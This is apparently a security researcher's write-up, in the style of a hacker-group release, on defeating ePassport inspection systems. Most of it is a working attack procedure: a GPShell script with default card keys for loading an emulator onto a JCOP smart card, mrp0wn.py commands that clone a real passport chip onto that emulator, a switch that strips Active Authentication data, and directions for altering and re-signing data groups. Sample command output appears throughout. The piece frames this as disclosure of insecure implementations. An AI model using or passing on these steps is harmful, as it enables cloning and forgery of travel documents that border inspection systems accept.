The manipulated information is displayed without any alarms going off.
The exploitation of this loophole is trivial and can be verified using
thc-epassport.

Regardless how good the intention of the government might have been, the
facts are that tested implementations of the ePassports Inspection System
are not secure.

ePassports give us a false sense of security: We are made to believe
that they make usemore secure. I’m afraid that’s not true: current
ePassport implementations don’t add security at all.

Thanks to Elv1s for beta testing!

Just follow two easy steps:

(1) Upload the emulator code to a blank JCOP v4.1 72k smart card
Use your favorite tool to upload the CAP file. As an example GPShell is
used. The script used to upload the CAP file:

P:\GPShell-1.4.2>type epassport.script
mode_211
enable_trace
establish_context
card_connect -readerNumber 3
select -AID a000000003000000
open_sc -security 1 -keyind 0 -keyver 0 -mac_key 404142434445464748494a4b4c4d4e4
f -enc_key 404142434445464748494a4b4c4d4e4f
delete -AID A0000002471001
delete -AID A00000024710
install -file epassport.cap -priv 00 -AID A0000002471001 -pkgAID A00000024710
card_disconnect
release_context

A sample output of an actual upload:

P:\GPShell-1.4.2>GPShell.exe epassport.script
mode_211
enable_trace
establish_context
card_connect -readerNumber 3
* reader name OMNIKEY CardMan 5x21-CL 0
select -AID a000000003000000
Command --> 00A4040008A000000003000000
Wrapped command --> 00A4040008A000000003000000
Response <-- 6F108408A000000003000000A5049F6501FF9000
..
..
..
Wrapped command --> 84E60C002506A0000002471007A000000247100107A00000024710010100
02C90000B918E8E43A25117700
Response <-- 9000
card_disconnect
release_context

The CAP file currently supports the following files:
* EF.COM : 256 bytes (required file)
* EF.SOD : 2560 bytes (required file)
* EF.DG1 : 128 bytes (required file)
* EF.DG2 : 24576 bytes (required file)
* EF.DG3 : 20480 bytes (optional, future use)
* EF.DG11: 128 bytes (optional, e.g. USA)
* EF.DG12: 128 bytes (optional, e.g. USA)
* EF.DG13: 64 bytes (optional, e.g. Japan)
* EF.DG15: 256 bytes (optional, e.g. The Netherlands)

If you need support of other DGs, please let vonJeek know.

(2a) Clone the chipUsing a customized THC version of Adam Laurie’s RFIDIOt tools, you’re able
to read a chip’s content and to write it to an emulator.

P:\RFIDIOt-vonjeek>mrp0wn.py CLONE M3V0NJ33K000000999999

===============================================================================
= mrp0wn.py, an RFIDIOt ePassport utility by vonJeek  =
= Use Jeroen van Beek's ePassport emulator as the target device.              =
===============================================================================
Put a ePassport near the terminal and press enter to continue...
Reading document using KEY M3V0NJ33K000000999999, please be patient...
Put the emulator near the terminal and press enter to continue...
Writing new ePassport using files in /tmp.
Writing /tmp/EF_COM.BIN: 0 bytes left...
Writing /tmp/EF_SOD.BIN: 0 bytes left...
Writing /tmp/EF_DG1.BIN: 0 bytes left...
Writing /tmp/EF_DG2.BIN: 0 bytes left...
Setting the secret key to M3V0NJ33K200000009999998.
Done, happy mrp0wning  

Use the following command to read the chip:
./mrpkey.py "M3V0NJ33Kxxxx000000xx999999xxxxxxxxxxxxxxxxx"

If your chip is protected using the optional Active Authentication mechanism,
the Active Authentication data group (DG15, tag 0×6F) is removed from EF.COM
as demonstrated by Jeroen van Beek at the 2008 USA BlackHat Briefings. Note
that mrp0wn.py’s parameter ‘STRIP_AA’ must be set to the value ‘True’. This
attack will work on all inspection system implementations that are using e.g.

ICAO’s “worked examples”, see this site for more info on that.

(2b) Write saved data

It’s also possible to write chip data you’ve saved earlier using RFIDIOt’s

mrpkey.py. As an example you can use vonJeek’s ePassport data. Note that

this data is self-signed: vonJeek started his own country

P:\tmp>unzip vonjeek-epassport_dump.zip

Archive:  vonjeek-epassport_dump.zip
 extracting: EF_COM.BIN
  inflating: EF_DG2.BIN
  inflating: EF_DG1.BIN
 extracting: EF_SOD.BIN	

P:\>cd \RFIDIOt-vonjeek	

P:\RFIDIOt-vonjeek>mrp0wn.py WRITE /tmp

===============================================================================
= mrp0wn.py, an RFIDIOt ePassport utility by vonJeek  =
= Use Jeroen van Beek's ePassport emulator as the target device.              =
===============================================================================
Document type is PASSPORT.
Put the emulator near the terminal and press enter to continue...
Writing new ePassport using files in /tmp.
Writing /tmp/EF_COM.BIN: 0 bytes left...
Writing /tmp/EF_SOD.BIN: 0 bytes left...
Writing /tmp/EF_DG1.BIN: 0 bytes left...
Writing /tmp/EF_DG2.BIN: 0 bytes left...
Setting the secret key to M3V0NJ33K200000009999998.
Done, happy mrp0wning  

Use the following command to read the chip:
./mrpkey.py "M3V0NJ33Kxxxx000000xx999999xxxxxxxxxxxxxxxxx"

You can also alter data before writing it to an emulator chip. If you want
to do that: this document contains details about – amongst others – DG1 and
DG2 encoding. If you’ve updated the DGs you can sign them using Peter
Gutmann’s CryptLib.

A read-out of vonJeek’s ePassport chip using the reference implementationnamed Golden Reader Tool can be seen below.

If you’re interested in ePassport related PKI (how to verify whether chip
content is signed by a bonafide authority?) please check the following URLs:

* http://www2.icao.int/en/MRTD/Pages/icaoPKD.aspx
* http://www.icao.int/icao/en/atb/meetings/2008/TagMRTD18/TagMrtd18_ip04.pdf
* http://www.csca-si.gov.si/TR-PKI_mrtds_ICC_read-only_access_v1_1.pdf
* http://www.timesonline.co.uk/tol/news/uk/crime/article4467106.ece
* http://www.timesonline.co.uk/tol/news/uk/crime/article4467098.ece